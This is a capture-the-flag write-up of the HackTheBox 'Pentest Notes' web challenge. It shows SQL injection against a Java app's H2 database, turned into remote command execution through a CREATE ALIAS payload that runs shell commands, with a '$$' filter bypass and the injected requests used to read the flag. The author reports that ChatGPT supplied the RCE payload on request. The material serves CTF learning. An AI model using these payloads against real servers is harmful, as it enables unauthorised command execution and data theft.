Post

HackTheBox Challenge Pentest Notes (Web)

Writeup for HackTheBox Challenge Pentest Notes

HackTheBox Challenge Pentest Notes (Web)

Challenge Synopsis

People-first web application projects are always a boring, like a note or a tic tac toe game, so I have created an upgraded version called ‘Pentest Note’! (Source)

Solution

login

There is a login page. Register for an account and login.

dashboard

Analyzing the burp request, we notice that it sent a GET /api/notes HTTP/1.1 request.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
HTTP/1.1 200 
Content-Type: application/json
Keep-Alive: timeout=60
Connection: keep-alive
Content-Length: 242

[
  {
    "Content": "One  ' to rule them all",
    "Note": "SQL Injection",
    "ID": 1
  },
  {
    "Content": "Script alert 1 !!!!!!!!!",
    "Note": "Cross Site Scripting",
    "ID": 2
  },
  {
    "Content": "IDK, can you tell me?                   ¯\\_(ツ)_/¯",
    "Note": "Skill issue",
    "ID": 3
  }
]

Lets try to select the first note.

sqli_note

Analyzing the burp request again, we notice that it sent a GET /note?name=SQL%20Injection HTTP/1.1 request.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
HTTP/1.1 200 
Content-Type: text/html;charset=UTF-8
Content-Language: en-GB
Keep-Alive: timeout=60
Connection: keep-alive
Content-Length: 4515

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Note Display</title>
    <link rel="stylesheet" href="/Css/note.css">
    <style>
        ...
    </style>
</head>
<body>
<div class="app">
    ...
</div>
<script>
    document.addEventListener('DOMContentLoaded', function () {
        const urlParams = new URLSearchParams(window.location.search);
        const nameParam = urlParams.get('name');

        if (nameParam) {
            const formData = new FormData();
            formData.append('name', nameParam);

            fetch('/api/note', {
                method: 'POST',
                body: formData
            })
                .then(response => {
                    if (!response.ok) {
                        throw new Error('Network response was not ok');
                    }
                    return response.json(); // Parse response as JSON
                })
                .then(data => {
                    const checklist = document.getElementById('checklist');
                    checklist.innerHTML = ''; // Clear previous content

                    if (data.length === 0) {
                        checklist.innerHTML = '<p>No checklist items available.</p>';
                    } else {
                        data.forEach(item => {
                            const checklistItem = document.createElement('div');
                            checklistItem.classList.add('checklist__item');

                            const itemTitle = document.createElement('div');
                            itemTitle.classList.add('checklist__item-title');
                            itemTitle.textContent = `ID: ${item.ID}`;

                            const itemContent = document.createElement('div');
                            itemContent.innerHTML = `Name: ${item.Name}<br>Note: ${item.Note}`; // Use innerHTML for line break

                            checklistItem.appendChild(itemTitle);
                            checklistItem.appendChild(itemContent);

                            checklist.appendChild(checklistItem);
                        });
                    }
                })
                .catch(error => {
                    console.error('Error fetching note data:', error);
                });
        } else {
            console.error('No "name" parameter found in the URL.');
        }
    });
</script>

</body>
</html>

Notice that the html script is fetching from /api/note but the http request is being sent to /note?name=<name>. Lets send the request to repeater and send a GET /api/note?name=a HTTP/1.1 request.

1
2
3
4
5
6
7
8
9
HTTP/1.1 405 
Allow: POST
Content-Type: text/html;charset=UTF-8
Content-Language: en-GB
Content-Length: 284
Keep-Alive: timeout=60
Connection: keep-alive

<html><body><h1>Whitelabel Error Page</h1><p>This application has no explicit mapping for /error, so you are seeing this as a fallback.</p><div id='created'>Sat May 24 12:16:26 UTC 2025</div><div>There was an unexpected error (type=Method Not Allowed, status=405).</div></body></html>

It responded with Method Not Allowed. Right click and change request method to send a POST /api/note HTTP/1.1 request with parameter name=a.

1
2
3
4
5
6
7
HTTP/1.1 200 
Content-Type: application/json
Keep-Alive: timeout=60
Connection: keep-alive
Content-Length: 2

[]

What if we send a POST /api/note HTTP/1.1 request with parameter name=a'?

1
2
3
4
5
6
7
HTTP/1.1 500 
Content-Type: text/html;charset=UTF-8
Content-Language: en-GB
Content-Length: 287
Connection: close

<html><body><h1>Whitelabel Error Page</h1><p>This application has no explicit mapping for /error, so you are seeing this as a fallback.</p><div id='created'>Sat May 24 12:19:26 UTC 2025</div><div>There was an unexpected error (type=Internal Server Error, status=500).</div></body></html>

It responded with Internal Server Error, which suggest that it is vulnerable to SQLi.

Using ChatGPT, I managed to find a payload that can exploit H2 database to get RCE.

1
2
3
4
5
6
7
8
9
10
11
-- query: I'm currently learning to exploit a Java webapp with H2 database. I found that it is vulnerable to SQLi. What is a payload that I can try to RCE?
-- response:
'; 
CREATE ALIAS SHELL AS
$$ String shell(String cmd) throws java.io.IOException {
     java.util.Scanner s = new java.util.Scanner(
         Runtime.getRuntime().exec(cmd).getInputStream()
     ).useDelimiter("\\A");
     return s.hasNext() ? s.next() : "";
} $$; 
-- 

This registers a function SHELL(cmd) that returns the command’s stdout. You can then trigger RCE with:

1
2
3
'; 
SELECT SHELL('whoami'); 
-- 

However, when I tried this payload, it responded with Bad character in name :). Narrowing the payload, I managed to figure out that $$ was the problem. Turns out we can replace $$ with .

Lets try the new payload in Burp Repeater.

sqli_payload_pass

Nice, it looks like the bypass worked. Lets try calling executing the alias.

execute_shell

It worked, we managed to execute a command!

Lets list the directories with # name=a'UNION+SELECT+1,2,SELECT+TEST_SHELL('ls')%3b+--+.

1
2
3
4
5
6
7
8
HTTP/1.1 200 
Content-Type: application/json
Date: Sat, 24 May 2025 13:19:49 GMT
Keep-Alive: timeout=60
Connection: keep-alive
Content-Length: 67

[{"Note":"mvnw\nmvnw.cmd\npom.xml\nsrc\ntarget\n","ID":1,"Name":2}]

Now lets list the parent directory with # name=a'UNION+SELECT+1,2,SELECT+TEST_SHELL('ls+../')%3b+--+.

1
2
3
4
5
6
7
8
HTTP/1.1 200 
Content-Type: application/json
Date: Sat, 24 May 2025 13:10:35 GMT
Keep-Alive: timeout=60
Connection: keep-alive
Content-Length: 161

[{"Note":"JN8fe3XRqTYK_flag.txt\napp\nbin\nboot\ndev\netc\nhome\nlib\nlib64\nmedia\nmnt\nopt\nproc\nroot\nrun\nsbin\nsrv\nsys\ntmp\nusr\nvar\n","ID":1,"Name":2}]

Now we can get the flag with # name=a'UNION+SELECT+1,2,SELECT+TEST_SHELL('cat ../JN8fe3XRqTYK_flag.txt')%3b+--+.

1
2
3
4
5
6
7
8
HTTP/1.1 200 
Content-Type: application/json
Date: Sat, 24 May 2025 13:25:58 GMT
Keep-Alive: timeout=60
Connection: keep-alive
Content-Length: 68

[{"Note":"HTB{y0u_w1ll_n33d_a_ch3ckl1st_f0r_sUr3}","ID":1,"Name":2}]

Flag: HTB{y0u_w1ll_n33d_a_ch3ckl1st_f0r_sUr3}

This post is licensed under CC BY 4.0 by the author.